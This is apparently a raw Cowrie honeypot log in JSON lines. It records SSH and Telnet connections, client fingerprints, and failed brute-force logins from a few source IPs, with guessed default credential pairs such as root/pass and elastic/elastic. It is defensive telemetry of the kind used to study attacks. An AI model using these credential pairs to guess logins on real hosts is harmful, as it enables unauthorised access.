{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47966,"dst_ip":"159.203.135.109","dst_port":22,"session":"3407a6e26dd3","protocol":"ssh","message":"New connection: 31.40.204.166:47966 (159.203.135.109:22) [session: 3407a6e26dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:49.684319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:49.708745Z","src_ip":"31.40.204.166","session":"3407a6e26dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:49.895686Z","src_ip":"31.40.204.166","session":"3407a6e26dd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:50.409182Z","src_ip":"31.40.204.166","session":"3407a6e26dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:51.791682Z","src_ip":"31.40.204.166","session":"3407a6e26dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.716102600097656,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:52.324771Z","src_ip":"152.42.224.71","session":"c4c10c9fbe6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53176,"dst_ip":"10.17.0.5","dst_port":23,"session":"af805ea1fdb2","protocol":"telnet","message":"New connection: 152.42.224.71:53176 (10.17.0.5:23) [session: af805ea1fdb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:52.998768Z"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:53.065994Z","src_ip":"47.237.167.49","session":"90e714dad125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b405420d692a","protocol":"telnet","message":"New connection: 152.42.224.71:53190 (10.17.0.5:23) [session: b405420d692a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:23:55.142546Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33088,"dst_ip":"159.203.135.109","dst_port":22,"session":"38258ac582cf","protocol":"ssh","message":"New connection: 31.40.204.166:33088 (159.203.135.109:22) [session: 38258ac582cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:01.805881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:01.811032Z","src_ip":"31.40.204.166","session":"38258ac582cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:01.986864Z","src_ip":"31.40.204.166","session":"38258ac582cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:02.491503Z","src_ip":"31.40.204.166","session":"38258ac582cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"50bcde640d4b","protocol":"telnet","message":"New connection: 152.42.224.71:42962 (10.17.0.5:23) [session: 50bcde640d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:02.690162Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:03.804870Z","src_ip":"31.40.204.166","session":"38258ac582cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42964,"dst_ip":"10.17.0.5","dst_port":23,"session":"4838d16cc803","protocol":"telnet","message":"New connection: 152.42.224.71:42964 (10.17.0.5:23) [session: 4838d16cc803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:06.178788Z"}
{"eventid":"cowrie.session.closed","duration":31.421464920043945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:10.084129Z","src_ip":"152.42.224.71","session":"f4dd16dc124c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54284,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c09e397cf2d","protocol":"telnet","message":"New connection: 152.42.224.71:54284 (10.17.0.5:23) [session: 7c09e397cf2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:10.321246Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54280,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d2faccfbd3","protocol":"telnet","message":"New connection: 152.42.224.71:54280 (10.17.0.5:23) [session: 77d2faccfbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:10.898640Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54292,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60dfee1e269","protocol":"telnet","message":"New connection: 152.42.224.71:54292 (10.17.0.5:23) [session: f60dfee1e269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:11.873818Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa372121ce4c","protocol":"telnet","message":"New connection: 152.42.224.71:54306 (10.17.0.5:23) [session: fa372121ce4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:13.155728Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43392,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca0b5850277","protocol":"ssh","message":"New connection: 31.40.204.166:43392 (159.203.135.109:22) [session: 4ca0b5850277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:13.184362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:13.210076Z","src_ip":"31.40.204.166","session":"4ca0b5850277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:13.317327Z","src_ip":"31.40.204.166","session":"4ca0b5850277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:14.194135Z","src_ip":"31.40.204.166","session":"4ca0b5850277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.79016971588135,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:14.267480Z","src_ip":"152.42.224.71","session":"cadf3cc84f85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:15.407180Z","src_ip":"31.40.204.166","session":"4ca0b5850277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59382,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8cf8c1b8a6","protocol":"telnet","message":"New connection: 152.42.224.71:59382 (10.17.0.5:23) [session: 7e8cf8c1b8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:17.397969Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59390,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07f849d9a26","protocol":"telnet","message":"New connection: 152.42.224.71:59390 (10.17.0.5:23) [session: f07f849d9a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:21.584865Z"}
{"eventid":"cowrie.session.closed","duration":28.020994901657104,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:23.163417Z","src_ip":"152.42.224.71","session":"b405420d692a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38874,"dst_ip":"159.203.135.109","dst_port":22,"session":"b48539b03501","protocol":"ssh","message":"New connection: 31.40.204.166:38874 (159.203.135.109:22) [session: b48539b03501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:25.582979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:25.592398Z","src_ip":"31.40.204.166","session":"b48539b03501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:25.717202Z","src_ip":"31.40.204.166","session":"b48539b03501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155782699585,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:26.809718Z","src_ip":"152.42.224.71","session":"441579383fe2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:27.089414Z","src_ip":"31.40.204.166","session":"b48539b03501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:28.224590Z","src_ip":"31.40.204.166","session":"b48539b03501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44178,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d9a3c621a6","protocol":"telnet","message":"New connection: 152.42.224.71:44178 (10.17.0.5:23) [session: 70d9a3c621a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:30.874700Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44180,"dst_ip":"10.17.0.5","dst_port":23,"session":"411c0f5ccd25","protocol":"telnet","message":"New connection: 152.42.224.71:44180 (10.17.0.5:23) [session: 411c0f5ccd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:32.267247Z"}
{"eventid":"cowrie.session.closed","duration":15.306424617767334,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:32.704250Z","src_ip":"152.42.224.71","session":"7e8cf8c1b8a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"580bba980284","protocol":"telnet","message":"New connection: 152.42.224.71:44190 (10.17.0.5:23) [session: 580bba980284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:32.754055Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60162,"dst_ip":"159.203.135.109","dst_port":22,"session":"997a50d92fcb","protocol":"ssh","message":"New connection: 103.176.20.57:60162 (159.203.135.109:22) [session: 997a50d92fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:35.793852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:35.799038Z","src_ip":"103.176.20.57","session":"997a50d92fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:36.045819Z","src_ip":"103.176.20.57","session":"997a50d92fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antonina","message":"login attempt [root/antonina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:36.808804Z","src_ip":"103.176.20.57","session":"997a50d92fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39068,"dst_ip":"159.203.135.109","dst_port":22,"session":"94d93f180c11","protocol":"ssh","message":"New connection: 31.40.204.166:39068 (159.203.135.109:22) [session: 94d93f180c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:37.513241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:37.518305Z","src_ip":"31.40.204.166","session":"94d93f180c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:37.721770Z","src_ip":"31.40.204.166","session":"94d93f180c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.42050957679749,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:37.809625Z","src_ip":"152.42.224.71","session":"e38fc54ea172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:38.064247Z","src_ip":"103.176.20.57","session":"997a50d92fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:38.583945Z","src_ip":"31.40.204.166","session":"94d93f180c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:39.712377Z","src_ip":"31.40.204.166","session":"94d93f180c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.084896087646484,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:40.083575Z","src_ip":"152.42.224.71","session":"af805ea1fdb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.14343428611755,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:43.823384Z","src_ip":"152.42.224.71","session":"ec811d0c3634","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.66579532623291,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:24:43.844481Z","src_ip":"152.42.224.71","session":"4838d16cc803","protocol":"telnet"}
